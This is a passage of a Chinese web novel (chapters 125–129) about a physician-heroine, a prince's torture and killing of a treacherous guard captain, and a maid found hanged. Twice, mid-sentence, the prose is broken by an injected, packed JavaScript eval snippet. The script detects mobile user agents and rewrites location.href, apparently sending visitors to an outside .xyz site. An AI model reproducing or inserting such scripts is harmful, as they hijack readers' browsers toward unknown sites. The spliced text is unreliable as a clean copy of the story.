对医术或许不了解,但对一个人还有没有机会活下去,却是一眼就能看出来。 姐姐身上的伤口,分明是伤了脏腑。 而且连呼吸都几乎没有了。 那么重的伤,就算离洛先生在这里,也不可能再救回来。 姐姐真的还能活下来吗? “当然可以!” 银铃正默默流着泪,耳边却突然传来徐瑞隆隆的声音。 她这才意识到,自己刚刚竟然不自觉把心里的想法说了出来。 银铃茫茫然抬起被泪水浸湿的小脸,看向徐瑞。 徐瑞神色严肃道:“小姐说了能救,就一定能救!” “对!”小婵重重点头,“银铃,你要相信小姐。小姐她和夫人一样,是很厉害很厉害的人。” 虽然,以前的小姐不是。 以前的小姐太柔软善良了,所以一直被人欺负。 可是现在的小姐已经不一样了。 她仿佛在小姐身上,看到了无所不能的夫人的影子。 夫人那么厉害。 小姐也一定是很厉害很厉害的! 徐嬷嬷走上前,轻轻拍了拍银铃的肩膀,柔声叹息道:“无论如何,王妃都是好意。若是真的救不活,你心里对王妃也绝不可以有任何怨言,知道吗?” 银铃噙着泪,点了点头。 徐瑞看着自己母亲,张了张嘴,似乎想说什么。 可终究还是把到嘴边的话,咽了回去。 银铃和徐嬷嬷都没有去过伤残营。 也没有见识过姜南溪那神乎其神的医术。 所以看到金铃气息奄奄的样子,自然以为他活不成了。 可徐瑞不同。 他深信,小姐说能救活的人,就一定能活下来。 时间一点点过去。 碧清院的人熬了一个通宵没睡。 可因为心里揣着事。 所以谁都没有犯困打瞌睡,反而一个比一个忧心忡忡。 直到,房间门发出吱嘎声响,打开来。 “小姐!” “姐姐,姐姐怎么样了?” 小婵和银铃听到动静猛地抬起头。 银铃几乎想要不顾一切地冲进去看看姐姐的情况。 但想起刚刚姜南溪的命令,她又硬生生忍了下来。 只是一双哭肿的眼睛却盈满了惊惶、恐惧和希冀,往屋内瞧。 片刻后,一个熟悉的纤细身影缓缓出现在门口。 随之而来的是略显沙哑的虚弱声音:“放心,金铃没事,已经脱离了危险期。” “徐瑞,像刚刚一样去把金铃抱出来,抱回她自己的房间。” “接下来几天,记得让她好好修养,伤口切记不能碰水!” 徐瑞二话不说,闪身钻入屋内。 很快就如刚刚那样,双手平托,把金铃平平稳稳地抱了出来。 虽然此刻的金铃依旧昏迷。 可就算是傻子也能看出来,她的状态与一个时辰前,简直是天壤之别。 之前满是脏污和血渍的衣服,换成了徐嬷嬷匆忙准备的雪白里衣。 透过薄薄的布料,能看到金铃身上缠着厚厚的纱布。 而原本微弱到几乎感受不到的呼吸,此时也平稳下来。 银铃哆嗦着手去摸了摸金铃的颈动脉。 随后哇的一声哭了出来。 姐姐活了! 姐姐真的被救活了! 噗通——! 她一个扭身,跪在姜南溪面前,砰砰砰磕了好几个响头。 “小姐,您的救命之恩,奴婢和姐姐无以为报,今生今世愿意做牛做马……” 然而,银铃没能把哭着发的誓言说完。 就感觉眼前一黑,一道阴影朝着自己的方向重重砸下来。 银铃还没来得及反应发生了什么。 就听耳边传来三人惊恐的尖叫声:“小姐——!!” 银铃想也没想,伸手猛地扶住倒下来的黑影。 触手是一片冰凉与温热滑腻。 冰凉的是姜南溪的身体与皮肤。 而温热滑腻的,是从肩膀上汩汩流出的鲜血。 肩膀上绑着白色的纱布。 可此时,白色已经被完全染成了刺目的鲜红。 就连姜南溪那刚刚换上的干净衣服。 后背也完全被鲜血浸透。 银铃呆呆的看着沾满了手的粘稠血液,脑海中一片空茫。 小姐她……她就是顶着这样的身体,给姐姐做急救的? 可,可为什么? 她和姐姐只是卑贱的奴婢啊! 小姐为什么……为什么要豁出自己的性命就她们? 银铃怔怔想着,不知不觉再度泪流满面。 而小婵已经哭着扑过来:“小姐,小姐,你怎么了?呜呜呜,小姐,你不要吓小婵!” 银铃猛地回过神来。 突然之间也不知道哪来的力气,竟不靠着任何借力,硬生生抱着姜南溪直接站起来。 “小婵,去拿药!” 见小婵呆呆看着自己,她忍不住又吼了一声:“小姐给你的药呢?去拿来,全部去拿来!快点!” 徐瑞用了毕生最快的速度,把金铃送回房间。 又呼哧喘着气冲回来。 他从银铃手中强硬地接过姜南溪,声音嘶哑道:“我来,我托着稳,绝不会让小姐的伤口裂开!” 银铃只犹豫了一瞬,就将昏迷的姜南溪交给徐瑞。 徐嬷嬷则焦急道:“我,我去王府,我去让王爷给王妃请太医!” “娘!”徐瑞低吼了一声,叫住了自己母亲,“不能去!” 第一百二十五章 审讯 徐嬷嬷一愣:“不能去?为什么不能去?王妃伤成这样,怎么能不请太医……” 然而,徐瑞却坚定地摇了摇头:“王爷请的太医,小姐,不会接受的。” “娘,不要再让小姐伤心了。” === 御王府。 “护卫长!” “见过护卫长!” 夜深人静,御王府站岗的护卫也难免有些昏昏欲睡。 直到一道身影在前方掠过。 两人浑身一个激灵,手不自觉摸向了腰间长刀。 但等看清了来人是耿超,两个王府护卫顿时松了口气。 只是耿护卫长这么晚了,怎么会从阮宜人的衡芷院出来? 这,孤男寡女的应该不至于…… 或许是他们眼花了吧? 耿超轻咳了一声,神色沉稳道:“府中没什么异状吧?” “禀护卫长,没有,今夜一切如常。” 耿超:“王爷……咳,王爷从皇宫离开后,至今都没有回府吗?你们可知王爷去了哪?” 王府护卫面面相觑。 王爷的行踪,他们怎么会知道? 连打听都是不被允许的。 但两人也没多想,只是老实地摇了摇头:“王爷未曾回府。” 耿超的眉头微不可查地皱了皱。 他的心中隐隐有些不安。 但面上却丝毫不显,只微微一笑道:“没事,我只是随口一问,你们继续守夜吧,记得打起精神。如今王爷不在府中,你们更要小心,决不能给任何人可趁之机。” 两个护卫连连点头,神色肃穆。 耿超这才转身离开。 然而,他刚走出两步。 就见两道黑影无声无息地落在他面前。 粗犷的声音在黑暗中显得格外冰冷肃杀:“耿护卫长,王爷召见,请跟我们走一趟吧!” 耿超浑身一僵,脸色微微苍白。 而那两个护卫也诧异地看了过来。 因为他们认出,这两个内劲绵长,全身上下透露着铁血煞气的男子,正是宋武身边的两个得力副将。 是在战场上数年历练,手下斩杀无数亡魂的镇北军校尉。 镇北军的校尉为什么会在深夜出现在府中? 而且,总觉得他们对耿护卫长的态度很不善。 是他们的错觉吗? 还是,发生什么了不得的大事了? …… 程达和赵雄并不知道两个王府侍卫的所思所想。 他们把话一说完。 甚至不等耿超开口,就一左一右,猛地架住了耿超的双手。 耿超下意识地想要挣扎。 然而,程达和赵雄在出手的时候,周身内力就运转起来。 手上狠狠用力,耿超顿觉肩膀和手臂剧痛,脸色瞬间白了。 要不是一旁有自己的两个手下看着,他几乎要痛呼出声。 耿超眼中惊惶,强自镇定道:“王爷召见,属下自会……自会领命,程校尉、赵校尉我们共同效命于王爷,你们何必如此……” “闭嘴!”程达冷斥一声,看他的眼中满是恨不得把他碎尸万段的嫌恶,“再多说一句,信不信老子先撕烂你这张嘴!” 赵雄:“程达你跟他废什么话?俺们快走,王爷和司先生还等着审这王八羔子呢!” 审? 耿超心中大惊,眼中流露出浓重的恐慌之色? 王爷为什么要审他? 难道……难道是因为…… 思绪惊涛骇浪间,耿超已经被程达和赵雄飞速拖到了御王府的地下刑房。 两人把耿超重重丢在地上。 地面湿冷的气息,裹挟着空气中浓烈的血腥味扑面而来。 耿超猛地回过神来。 他抬起头,对上萧墨宸那冰冷,没有一丝情绪起伏的俊美脸庞,身体禁不住地一个哆嗦。 “属下……属下参见王爷!” 萧墨宸居高临下看着他,声音清冷如珠玉,开门见山道:“为什么骗南溪县主去鸿宾客栈?” 果真……竟果真是为了这事! 耿超心中大惊,可面上却只露出一瞬的慌乱。 很快就换上茫然无措地神情:“骗南溪县主去客栈?属下从未做过啊,是南溪县主这么跟王爷您说的吗?” 耿超想着阮芷安教他的情绪表达。 在心中酝酿了一下,憨厚沉稳的脸上立刻露出受了冤屈的义愤填膺神情。 “可分明是南溪县主自己等不及解药被送到王府,无论如何都要去东城门等影七,属下才不得已让手下将她送过去,并给她订了鸿宾客栈的房间。” “王爷您若是不信,大可以寻青筠过来询问。” “属下甚至愿意与南溪县主对峙,来证明属下的清白!” 说着,他瞪着眼睛,看向萧墨宸。 眼眶微微发红,连身体也在轻微颤抖,仿佛受了天大的委屈。 刚刚被揍过的影七顿时又有了偏向。 他张嘴想要说话。 站在他身旁的影十三毫不犹豫,拿起之前在鸿宾客栈周围捡到的袖箭,狠狠扎在他屁股上。 “嗷——!” 影七发出一声惨叫,又意识到场合不对。 连忙捂住自己的嘴巴,惊恐地看向周围。 然而,这地牢中,没有一个人搭理他。 萧墨宸淡淡道:“去将青筠带来!” 听到这话,耿超在心里微微松了口气。 王爷还肯听他分辨就好。 幸好,幸好阮宜人如此细心如此善良温柔,为他想好了所有退路。 耿超此时心中慌乱散了少许,反倒生出几分甜滋滋的蜜意来。 很快,青筠就被带了过来。 她的神情有些茫然,也有些惊慌。 没有人被带到这样弥漫着血腥味的阴暗地牢,能不心慌的。 “奴婢青筠,参见王爷!” 耿超不等萧墨宸说话,就已经迫不及待道:“青筠,你告诉王爷,是不是南溪县主自己贪生怕死,非要去东城门等影七的?我已经极力劝阻了,可南溪县主根本就不听。” 青筠神色茫然,脑海中不自觉浮现出下午耿超对她说过的话。 她此刻刚被从被窝中挖起来,神思本就是混混沌沌的。 耿超这么引导性地发问,立刻就将“南溪县主真的说过这些话”的概念深植进了青筠的脑海中。 她自然而然地就觉得,耿超说的就是事实。 而不是她听耿超转述的。 赞同耿超的话,几乎要脱口而出。 第一百二十六章 他的愚蠢,要害死主子了 然而下一刻,就听清冷磁性的男子声音响起。 “不急。” 萧墨宸漫不经心地转动着手上的玉扳指。 他的手指莹润修长,宛如最无暇的美玉雕琢而成。 如今在地牢昏暗的光线照耀下,也未损失半分颜色。 反倒把那价值千金的玉扳指,都衬得平平无奇。 然而,就是这样一双手的主人,开口说出的话,却让人从尾椎骨窜起一层凉意。 “影九,先简单走一遍吧,本王不想再听废话!” 刚刚从碧清院回来的影九,如影子一样出现在耿超身后。 一把将他提起来。 不疾不徐走向了一旁的刑讯架子。 片刻后。 “啊啊啊啊——!!” 凄厉的惨叫声,响彻在阴暗潮湿的地牢中。 本就浓郁的血腥味,此刻烈的几乎要把人熏晕过去。 青筠浑身都在筛糠般颤抖。 她发疯般地想要尖叫、想要逃跑。 可是身体和喉咙却像是被冰冻住了一般,动不了一下,发不出半点声音。 此时此刻,她终于想起了世间对于御王的传言。 暴戾恣睢、喜怒无常。 是丰神俊秀、郎艳独绝的绝世佳公子。 也是能收割万千敌人首级,依旧面不改色的血屠战神。 时间在青筠的煎熬,与耿超越来越微弱地惨叫声中,一点点流失。 直到清晨的第一缕阳光,从地牢的入口中照射进来。 影九才拖着全身是血的耿超回来。 萧墨宸直到此刻才抬起头,将视线从手中的奏报上挪开。 但却不是去看气息奄奄的耿超。 而是看向青筠:“刚刚的时间,够你想清楚该如何回答了吗?” “想清楚了,想清楚了!” 青筠声音都带着哭腔,语速却是极快,仿佛生怕慢一秒,自己就会像耿超一样被拖去走一遍。 “奴婢接到王爷命令后,便想去找金铃的……” 这一次,青筠脑海中再没有了一丝一毫耿超刻意误导的信息。 她甚至绞尽了脑汁去回忆今天早上发生的事情。 恨不得连一个停顿,一个说话的表情都不落下。 全都一五一十,竹筒倒豆子般倒了出来。 这一下,就算蠢钝如影七也听出不对劲了。 “不是县主亲口告诉你,她要去东城门口的?” 这所有的一切,竟然全部……全部都只来自耿超的口述? 青筠在叙述中,也意识到了不对劲。 心中的恐惧和对耿超的同情逐渐消散,全都转化成难以置信地惊怒。 “耿超,难道说这一切都是你骗我的?不是县主自己要去东城门口,是你骗她去的?” “难怪,难怪你一听说我要去找金铃,就说你会去通知,还劝我赶紧去休息!” 她还以为,是耿超好心体贴,心中甚至生出几分隐秘的暧昧和欢喜。 可谁知道,人家竟然是把她利用了个彻底。 青筠只要一想到,自己成了耿超的棋子。 刚刚还差点顺着耿超的诱导,说出能让自己一家万劫不复的话。 她的身体就抑制不住地颤抖起来。 但这一次却不是怕的,而是气的! 啪——! 青筠抬手狠狠一巴掌抽到耿超脸上,“你我无冤无仇,你为何要害我!” 然而,比青筠更气的却是影七。 他顾不得肋骨和屁股的疼痛,几步冲到耿超面前。 一把揪起他的领子,双目喷火:“你,你敢骗我!” 不,耿超不只是骗他。 而是两头骗。 把他们一行人耍的团团转。 最重要的是,让他成为了千夫所指的罪人。 让主子和小主子都因此厌弃他了。 一想到这些,影七就恨不得立刻把耿超碎尸万段。 然而,还不等他失控动手。 砰——! 影十三抬起大长腿,狠狠一脚把他踹飞出去。 雌雄莫辩的声音噙着冰冷肃杀的怒意:“蠢货,若不是你没脑子,若不是你本就对县主有偏见,又怎么会轻易就被如此拙劣的骗局诓骗?你知不知道……” 说到此处,影十三声音哽咽,愤恨与绝望交缠在一起,让她几乎无法顺利说出话来。 “你知不知道,自己到底做了什么样的蠢事?若是县主因此与主子决裂,无人能替主子解毒。我一定……” “影七,我一定会……亲手杀了你!” 影七如遭雷击,整个人都僵住了。 姜南溪能解主子身上的毒? 不,不可能的! 巫髓毒无人能解,就算是离洛先生也只能压制。 姜南溪又凭什么能解? 顶多也不过是将王爷毒发的时间往后延一延罢了。 而且,姜南溪不是只是个无能又懦弱的县主吗? 她又那么想要嫁给王爷为妻。 难道,难道当真会为了这点小事,便再也不给王爷治疗吗? 不不不!不会的! 绝不可能的! 影七在心中一遍遍说服自己。 可看到影十三的泪水,看到镇北军所有人厌恶又痛恨的眼神。 看到司玄中那冰冷的,仿佛想着该如何把他大卸八块才能让姜南溪消气的算计神情。 影七此刻当真是慌了。 他,他会害死主子? 他的愚蠢,要害死主子了? “咳咳咳……” 正在此时,地上的耿超发出撕心裂肺地咳嗽。 他抬起被血糊满的脸,声音虚弱嘶哑,却也能听出其中的震惊。 “南溪县主……能解王爷身上的毒?不……这不可能……” 那不过就是个懦弱无能、声名狼藉的废物县主。 如何能与高贵温柔的阮宜人相提并论。 阮宜人说她是对家送到王爷身边的奸细。 那姜南溪就必然是个居心叵测的奸细。 “王爷……”耿超双目含泪道,“王爷,你……你莫要被那个南溪县主骗了,她……她不过一个闺阁女子,如何……如何能解您身上的毒,是有人故意……故意将她送到您身边,陷害您……与小世子的。” “王爷,属下这么做,也是为了肃清您身边的奸佞啊!属下做这一切,都是为了您啊!” 他这一番话,听得宋武等人眉毛倒竖,恨不得把他那张嘴给撕烂了。 什么几把玩意儿,也敢说他们小医仙是奸佞? 还真把自己当盘菜了! 第一百二十七章 被人灭口了 全场,唯有萧墨宸的神情从始至终异常的冷静。 他缓缓转动着玉扳指,浓密的长睫微微垂下,似乎漫不经心道:“是谁告诉你,南溪县主是本王身边的奸佞?” “又是谁教你如此布局,将整个御王府耍的团团转的?” 耿超的瞳孔剧烈收缩了一下。 刚刚被影九刑讯的时候,他都没有如此恐惧。 此时被萧墨宸那双深不见底的黑眸盯着,却只觉得头皮发麻。 真话几乎要脱口而出。 然而很快,他就想起了阮芷安那张泪盈于睫的柔弱脸庞。 在他刚刚离开衡芷院前,阮芷安突然抓住他的手。 未语,晶莹的泪珠已经滑落眼眶:“耿大哥,无论如何,今日之事,你都是为了替我出气,才冒险干的。” “王爷最恨欺瞒他之人,若是你今日所作所为被王爷发现,他绝不会轻饶你的。” “耿大哥,到那时,你就把所有的过错都推到我身上吧!你就说是我怂恿和教唆你欺瞒影七和南溪县主的,是我逼迫你这么做的。” “一切都是芷安的错,与你没有半点关系。那样,你至少还有一条活路……” 耿超何时被阮芷安这样柔声细语地担忧偏爱过,又何时被叫做过耿大哥? 此时只觉得热血冲脑,毫不犹豫就反手拉住她的手:“芷安你放心,无论今日结果如何,这一切都是我心甘情愿做的,与你无关。哪怕是王爷要我的命,我也绝不会后悔,更不会牵连你!” 想到这些,耿超死死咬紧了牙关。 斩钉截铁道:“没有人教属下这么做,是属下自己看不惯南溪县主这般水性杨花又不怀好意的女人成为御王妃,还威胁小世子和小郡主的安全,所以才设下陷阱害她。” “是我自己想让她死,与其他人没有半点关系!” 司玄中眉头微皱。 他自然不会相信耿超的话。 刚刚耿超脸上那一闪而逝的不自然。 别人或许发现不了,但如他这种擅长揣摩人心的谋士。 却第一时间就察觉到了。 司玄中眼神寒凉,正要逼问。 却听萧墨宸淡淡道:“既然你没什么要交代的。影九,拖下去,杀了。” 耿超的瞳孔剧烈收缩了一下。 几乎是本能地低吼道:“王爷,属下对您忠心耿耿,做这一切,也是为了王爷您和小世子的前途着想。您就因为属下犯了这一点点小错,便要属下的命?” 萧墨宸连眼皮也未抬一下:“看在你跟了本王这么多年的份上,那本王便再问你一遍,是谁……让你这么做的?” 耿超咬牙:“是……是属下自己的意思,属下看不惯南溪县主,她声名狼藉,又与定远侯府关系亲厚,根本就没资格做御王……” 唰! 萧墨宸修长如玉的手指在腰间轻轻一抽。 一把薄如蝉翼,寒光瑟瑟的长剑悄无声息挥出。 伴随而来的还有男子清冷含煞的声音:“何时,轮到你来教本王做事了?” 耿超只觉得颈间一凉。 一阵刺骨地凉意如过电般袭遍他全身。 紧接着,他感觉有什么粘稠的液体从他的颈间喷涌而出。 耿超僵硬地抬起手,抚上自己的颈侧。 血! 如泉涌一般的血从他脖颈的伤口,从他的指缝中喷涌出来。 瞪大的双眼一点点流泻出浓烈的恐惧与惊慌。 直到刚刚被用刑的时候,耿超都以为自己是不怕死的。 为了护住阮芷安,他可以豁出去一切。 可此时此刻,鲜血从脖颈处喷涌而出。 死亡的冰冷与阴影笼罩住全身。 清清楚楚地意识到,生机从体内一点点流失。 耿超终于彻底慌了。 他死死捂着自己鲜血狂涌的脖子,身体无力地倒了下去。 可他的双眼却祈求地看着萧墨宸,眼里流露出卑微怯懦的哀求。 不,他不想死。 他还那么年轻,还有远大前途。 怎么能轻易死在这阴暗潮湿的地牢中呢! “王爷……饶……饶命……我愿意说……” 也不知道萧墨宸这一剑是怎么砍的。 切断了耿超的颈动脉,却没有割破他的喉咙。 狂涌出伤口的鲜血,也没有让他瞬间失去生命。 耿超甚至还能断断续续说出求饶的话。 “我说……我愿意招……饶命……我不想死……王爷……饶命……” 萧墨宸又等了片刻。 直到耿超双眼翻白,呼吸越来越微弱。 他才抬了抬手。 等在一旁的影九立刻上前,拨开耿超的手,在他脖颈的伤口上撒上白色的药粉。 原本还在汩汩流血的伤口,竟然瞬间止血。 耿超眼神涣散,手脚抽搐。 可心中却大松了一口气。 还好,他……他活下来了。 他不用死了! 萧墨宸曲起手指,轻轻敲了敲轮椅扶手,声音淡淡道:“这是本王问你的最后一遍。” 浓密的长睫掀起,漆黑幽深的桃花眸带着漫不经心的凉意看向耿超。 “是谁指使你这么做的?” “是……是……啊——!!” 耿超正要说话,突然抬手猛地捂住自己胸口。 糊满了鲜血的脸剧烈扭曲、抽搐。 皮肤下一根根血红色的青筋暴起游动。 就仿佛有一条条小虫在他身体里钻动一般。 萧墨宸神色猛然一沉。 不等他发话,影九已经迅速上前,捏住了耿超的脉门。 然而,下一刻,耿超就发出一声越发凄厉的惨叫。 心脏的位置竟发出砰一声巨响,直接爆裂开来。 这一番变故,把在场的人都吓了一跳。 胆子小的青筠更是两眼一翻,直接晕死过去。 很快便有侍卫上前,把她抬了出去。 萧墨宸的脸色黑沉如墨:“去查查这段时间耿超都和谁有接触。” 司玄中脸色也是万分难看。 只要不是傻子都能看出来。 耿超这是被人灭口了。 可究竟是谁,有如此神通广大的本事。 竟能在王爷的眼皮底子下取走耿超的性命? 甚至,只看耿超此刻尸体残缺不全的样子。 司玄中相信,就算找了最厉害的仵作太医来验。 也定然验不出个所以然。 线索就此中断。 第一百二十八章 驱逐 司玄中深吸了一口气,躬身道:“是,属下定会好好调查。” 顿了顿,他像是想到了什么,突然对身后的程达几人道:“你们现在即刻去将阮宜人身边的婢女妙菱控制起来。” 从影七的描述中,他会如此轻易被耿超骗。 绝对少不了妙菱的拱火。 虽有极大可能不过是女人之间的争风吃醋。 但司玄中还是决定不放过任何一丝线索。 阮芷安是小世子和小郡主的救命恩人,他轻易审讯不得。 难道妙菱一个小婢女,他也审不得吗? 程达即刻便要应声。 然而就在这时,耳边突然传来影十三的一声惊叫。 “主子!” 这一声喊,仿佛一根钩子,钩住了在场众人的心脏,随后狠狠拉扯了一下。 所有人的目光都朝萧墨宸看去。 只见男人白玉般的脸庞此时一片潮红。 可偏偏唇色却是近乎青灰的惨白。 握在轮椅扶手上的双手手背上,只一瞬间,就爬满血红的蛛网纹路。 “王爷!” “主子!” 司玄中大惊,连让人去抓妙菱审问都顾不得了。 几步冲到萧墨宸面前,轻轻扯开他的衣襟一看。 果然,那血红的蛛网纹路已经直逼心脏。 司玄中向来温润的声音都颤抖了:“王爷,您从昨晚就一直动用内力,此刻……此刻定然是巫髓毒提前毒发了!” 萧墨宸的额头上渗出细密的汗珠。 双眼一片赤红。 可他的眼神却极冷静:“送本王去西厢偏房。” “这怎么行!”司玄中犹豫了一瞬,急道,“属下马上让人去请宫中太医。” 萧墨宸冷声道:“不用。” 因为,这满京城中,除了……根本就无人能缓解他的毒发。 “哎呀,还请什么太医啊!”宋武急的直跺脚,“小医仙不是就在定远侯府中吗?快去喊小医仙救命啊!” 此话一出,周围立刻陷入了死一般的静寂。 而宋武也后知后觉意识到了什么。 嘴唇哆嗦着开开合合,似乎想说什么,却一个字都说不出来。 饶是他再大老粗,也意识到,此刻去请小医仙。 小医仙会搭理他们才有鬼了。 可……可王爷的病要怎么办? 影十三突然一咬牙道:“属下去请!” “就算跪着求南溪县主,就算把属下这条贱命赔出去,属下也一定会把她请过来!” 说着,转身就要走。 “不许去!” 略显沙哑的清冷声音传来。 将影十三的脚步硬生生拽了回来。 她不甘心地扭过头,泪水已经滑落眼眶:“主子,如今只有南溪县主能为您缓解毒发了。” 萧墨宸冷冷道:“你是墨影卫,敢不听本王的命令?” “本王再说一遍,谁也不许去找姜南溪!” “否则别怪本王不客气!” 去找姜南溪来救他? 萧墨宸闭了闭眼。 面前仿佛还会浮现那双充满了仇恨和厌恶的漂亮眼睛。 还有那伤痕累累,几乎每一步都靠意志力在支撑着行走的孱弱身体。 那个女人,如今哪还有力气来为他祛毒? 即便是有,她也不会来。 萧墨宸:“本王之前能熬过毒发,如今自然也可以。你们谁都不许惊动!” “影九,送本王去西厢偏院。” 影九迅速上前,握住了轮椅扶手,一个提气纵身,就直接越过台阶,往地牢外离去。 而在场的所有人,只能眼睁睁地看着。 砰——! 宋武狠狠一拳砸在墙壁上,砸下一拳头灰。 他铜铃似地大眼狠狠瞪着影七,仿佛恨不得把他**万段。 “**,要是王爷有个三长两短,老子直接活撕了你!” 说完,率先走出了地牢。 程达几人也狠狠瞪了影七一眼,骂了几句很脏的脏话,怒气冲冲跟着走了。 然而,影七根本就听不清宋武他们说了什么。 他的脸色此时白如金纸,全身都在筛糠般颤抖。 脑海中嗡嗡地空白一片,只剩下一个念头。 这一切,当真是他害的? “影七!” 头顶传来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15629113|171562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 司玄中冷冽的声音。 影七茫然地抬起头。 就见向来温和儒雅、谦谦君子的司先生,此刻眼中没有一丝一毫的温度。 “影七,你已经没有资格做墨影卫了!” “从明天起,你就离开王府吧!” 轰——! 影七只觉得本就疼痛的太阳穴被人狠狠捶了一下。 他几乎是惨叫出声:“司先生,属下甘愿受罚,哪怕是墨影卫中最严苛的刑罚,属下也愿意领受。” “只求您千万莫要把属下逐出墨影卫,我和影十三的命是主子救的。” “影七早已在心里发誓,今生今世,要为主子做牛做马,绝不离开!” 司玄中冷笑一声:“为王爷做牛做马的结果,就是将王爷害到毒发,让他连唯一的生机都失去了。影七,我当真要替王爷谢谢你的报恩!” “不不!”影七的眼泪混合着鲜血流淌下来,神情悲戚而悔恨,“属下……我不是有意害王爷的,我真的只是……只是想让南溪县主受点教训啊!我没想到事情会变成这样的。” 是啊,事情怎么会变成这样呢? 明明几日前,他离开的时候,也对姜南溪一样不敬。 将她当麻袋丢在地上,对她出言不逊,骂她是不自量力妄想攀龙附凤的**。 明明那时,姜南溪都忍了下来。 哪怕差一点**,被喂了七日断肠丸。 那个女人也卑微地给王爷治病了。 为什么此刻却不肯呢? 他才不过离开了六日,可为什么一切却仿佛物是人非了? 司玄中看着影七那张悔恨、痛苦、绝望,却又茫然的脸,忍不住失望地摇了摇头。 “影七,王爷因为你们父亲的死,一直对你和影十三照顾有加,从没有把你们当做真正的墨影卫苛求,更遑论,让你们为奴为婢了。” “可我没想到,王爷的纵容,竟反倒把你惯的傲慢狂妄、毫无自知之明了!” “影七,如今的你,已经没有资格留在王爷身边了!” 影七噗通一声跪倒在地,整个人仿佛被抽走了魂魄。 影十三咬着牙,连看都没看他一眼,转身跟着司玄中离开。 第一百二十九章 又被灭口了 突然,影七抬起手,一把拽住了影十三的衣袖。 “主子……” 他抬起血泪模糊的脸,声音嘶哑到近乎破碎,“真的是我……害了主子吗?” 影十三居高临下看着他。 突然猛地倾下身,一把掐住他的脖子:“如果主子真的因为你有什么三长两短,我会亲手杀了你!” 她顿了顿,仿佛发狠般咬着自己的牙。 一字字道:“与其让你死在别人手中,倒不如让我亲手杀了你,哥哥!” === 砰砰砰!砰砰砰! “阮宜人,快开门!” 黎明的天光刚刚破晓。 整个御王府还在一片静谧沉寂中。 阮芷安所在的衡芷院大门却被拍的砰砰作响。 程达和赵雄这两个大老粗完全没有怜香惜玉的意思。 口中呼喝着:“里头有人吗?快开门!再不开门,老子就直接踹门了。” 话刚喊完,两人连再多等一刻的耐心都没有。 两只脚齐齐飞踢。 只听砰一声响,衡芷院的厚重大门,竟被两人硬生生踹开。 正打算过来开门的小厮,被弹开的大门撞了个正着。 一个屁股蹲就坐倒在地上,发出“哎哟哎哟”的哀嚎声。 程达和赵雄却看都没看小厮一眼。 径直大踏步地就往里闯。 “那个叫妙菱的小丫头在哪个房间?” “我记得青筠说在西边吧?” “走走,我们直接去把她抓出来,带去给司先生审问!” “不用告知阮宜人一声吗?” “告诉什么啊,兵贵神速懂不懂,告诉来告诉去的,万一被人跑了怎么办?” 程达摩拳擦掌,咬牙切齿:“咱们一定得好好帮司先生,把里头的罪魁祸首全揪出来,到时候绑成一串儿带到小医仙面前,让她随便泄愤。说不定那样一来,小医仙就消气了呢?” “对对,有道理!我们直接就去抓人。其实我早就觉得那个什么妙菱不是好东西,之前在伤残营,她就妄图挑拨我们和小医仙的关系。哼哼,要我说,司先生还审什么啊,这绝对是个奸细!” 两人嘴巴叭叭个没停,可脚步却极快。 只是,眼看着他们就要靠近妙菱所在屋子。 一旁的房门却吱嘎一声被拉开。 紧接着,睡眼惺忪,云鬓微乱,神情有些茫然的阮芷安在小婢女的搀扶下走出来。 对上程达和赵雄的视线。 阮芷安脸上露出羞恼的神色:“程校尉,赵校尉,衡芷院是王爷特批给妾身的院落。而妾身一个独身女子,你们两个大男人,连招呼都不打一声,就这么大喇喇地闯进来,还打伤我衡芷院中的仆从,究竟是什么意思?” 程达和赵雄顿时有些心虚。 他们两个大老粗,之前确实没考虑到这些。 而看此刻阮芷安的模样,很显然她连梳洗打扮的时间都没有,就急匆匆出来了。 程达轻咳一声,尴尬道:“我们也是奉司先生之命,带妙菱姑娘前去问询。因为事情紧急,所以没过多考虑就闯进来了。打扰……叨扰了阮宜人,还望阮宜人见谅。” 这一番文绉绉的客套话说下来,程达的舌头都快打结了。 而阮芷安的神色也终于放松下来。 她柔柔一笑,温和道:“程校尉莫要客气,妾身明白,你们冲动也是为了王爷和王府好。” 阮芷安的善解人意,让程达和赵雄态度都好了不少。 心中想着:阮宜人真不愧是小世子和小郡主的救命恩人。 妙菱犯事,也定然与她没有半分关系的。 阮芷安随即又微微皱眉:“只是,不知道妙菱犯了什么错,要劳烦两位校尉亲自过来提人?” 赵雄想要说话。 被程达拽了一下:“咳,这个,我们也只是奉司先生的命令来提人,至于具体犯了什么事,就不是我们能过问的了。阮宜人,司先生那边等得及,我们现在能去带妙菱姑娘走了吗?” 阮芷安:“自然可以,还是让我去叫妙菱出来吧,免得你们吓到了她。” 她柔柔一笑道:“妙菱这丫头,平日里就神神秘秘的,胆子又小的很,以前我突然推她门进去,都会把她吓一跳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15631516|171562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !有时我屋子里的小丫头不小心闯进去,她还会大发雷霆呢!” 一边说,她已经一边走到了妙菱的房门前,轻轻敲了敲门。 “妙菱,妙菱,你在里面吗?” 然而,屋里静悄悄的,连半点声响都没有。 程达和赵雄对视一眼。 赵雄猛地上前一步,朝门上狠狠一踹。 薄薄的木门不堪重负,直接倒地。 屋内的情景一览无余。 只见高高的横梁上,垂落一根白色的绸带。 绸带下方,晃晃悠悠吊着一个女子。 